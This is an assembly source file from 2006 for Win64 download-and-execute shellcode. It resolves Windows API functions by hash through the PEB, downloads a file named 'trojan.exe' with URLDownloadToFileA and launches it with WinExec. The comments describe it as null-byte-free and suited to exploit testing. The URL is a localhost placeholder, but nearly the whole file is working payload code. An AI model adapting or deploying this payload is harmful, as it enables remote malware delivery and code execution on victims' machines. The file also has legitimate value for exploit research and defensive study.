; ; dexec64.asm - 218+ bytes (unoptimised) ; ; Win64 asm code, download & execute file using URLDownloadToFileA moniker & WinExec ; ; tested on AMD64 running Windows x64 SP1 ; ; there probably are errors in the code, but this is more of an experimental source if nothing else. ; send corrections or errors to: 'weiss' wyse101 [at] gmail [dot] com ; code is not optimised at all, doesn't contain null bytes, so is possibly suitable for testing exploits on win64 ; ; one of the main stumbling blocks in coding x64 asm on windows is the alignment of the stack. ; it must be aligned by 16 bytes because windows uses 128-bit SSE2, otherwise the api call will fail. ; ; thanx: ; ; roy g biv/29a - http://www.29a.net/ ; Feryno - http://feryno.host.sk ; Tomasz Grysztar - http://flatassembler.org ; format PE64 console 4.0 entry entrypoint section '.text' code readable writeable executable ; assumed to be writeable when in memory, no NX obstruction! ; 1*8 is used rather than 0*8 because it uses null byte LoadLibraryA equ rbp+1*8 ; using rbp is smaller than using ebp on 64-bit WinExec equ rbp+2*8 URLDownloadToFileA equ rbp+3*8 ; must be rbp because of 64-bit URLMON base address entrypoint: jmp get_eip load_dta: pop rax push rax lea r15,[rax-(setup_stack-hashes)] inc byte [rax-(setup_stack-url_end)] ; nullify tail end of url inc byte [rax-(setup_stack-fname_end)] ; nullify end of filename inc byte [rax-(setup_stack-url_mon_end)] ; nullify end of URLMON ret ; go! hashes: dw 0bb86h ; LoadLibraryA() 635bbb86 dw 0a333h ; WinExec() 208da333 db 'URLMON',0ffh,0ffh url_mon_end = $-2 dw 05f92h ; URLDownloadToFileA c91e5f92 dq -1 fname: db 'trojan.exe',0ffh ; what to save as fname_end = $-1 url: db 'http://localhost/trojan.exe',0ffh ; where to download file from url_end = $-1 get_eip: call load_dta setup_stack: add rsp,-(4*8) ; 3 api variables, + 1 for avoiding null :-| push rsp pop rbp ; rbp = table of api mov rdi,rbp ; rdi points to table also stosq ; doesn't really do anything. add rsp,-(11*8) ; reserve space for windows, when calling api push 60h ; Hello, Ratter. 8-D pop rcx mov rax,[gs:rcx] ; Peb mov rax,[rax+18h] ; PebLdr mov rsi,[rax+30h] ; Ldr.InInitializationOrderModuleList lodsq ; skip ntdll.dll mov rbx,[rax+10h] ; kernel32.dll base mov cl,2 ; get 2 api first get_apis_loop: mov eax,dword[rbx+3ch] ; MZ header size lea rsi,[rbx+rax+78h] ; export directory begins at 88h mov eax,dword[rsi+10h] ; extra instructions needed to avoid null bytes lea rsi,[rbx+rax+1ch] lodsd lea r9,[rax+rbx] lodsd lea r10,[rax+rbx] lodsd lea r11,[rax+rbx] xor r12,r12 load_index: mov esi,dword[r10+4*r12] add rsi,rbx inc r12 xor eax,eax cdq hash_export: lodsb add edx,eax rol edx, 5 dec eax jns hash_export ror edx, 5 cmp dx,word [r15] ; found api? jne load_index movzx edx,word [r11+2*r12-2] mov eax,[r9+4*rdx] add rax,rbx add r15,2 ; skip hash stosq ; save api address loop get_apis_loop push r15 ; push/pop to avoid null with mov pop rcx call qword[LoadLibraryA] xchg rax,rbx add r15,8 ; skip URLMON, first time. push 1 ; get 1 api from URLMON pop rcx test rbx,rbx ; continue if not zero jne get_apis_loop dec ecx push rbx sub rsp,3*8 ; needed to align stack xor r9,r9 mov r8,r15 lea rdx,[r8+(url-fname)] call qword[URLDownloadToFileA] push 1 pop rdx mov rcx,r15 call qword[WinExec] ; WinExec("trojan.exe",SW_SHOWNORMAL??); ;jmp $ ; hang call qword[ExitProcess] ; not required, testing only ; section below not required, simply for testing. section '.idata' import data readable writeable dd 0,0,0,RVA kernel_name,RVA kernel_table dd 0,0,0,0,0 kernel_table: ExitProcess dq RVA _ExitProcess dq 0 kernel_name db 'KERNEL32.DLL',0 _ExitProcess dw 0 db 'ExitProcess',0 ; July 2006 - (Ireland)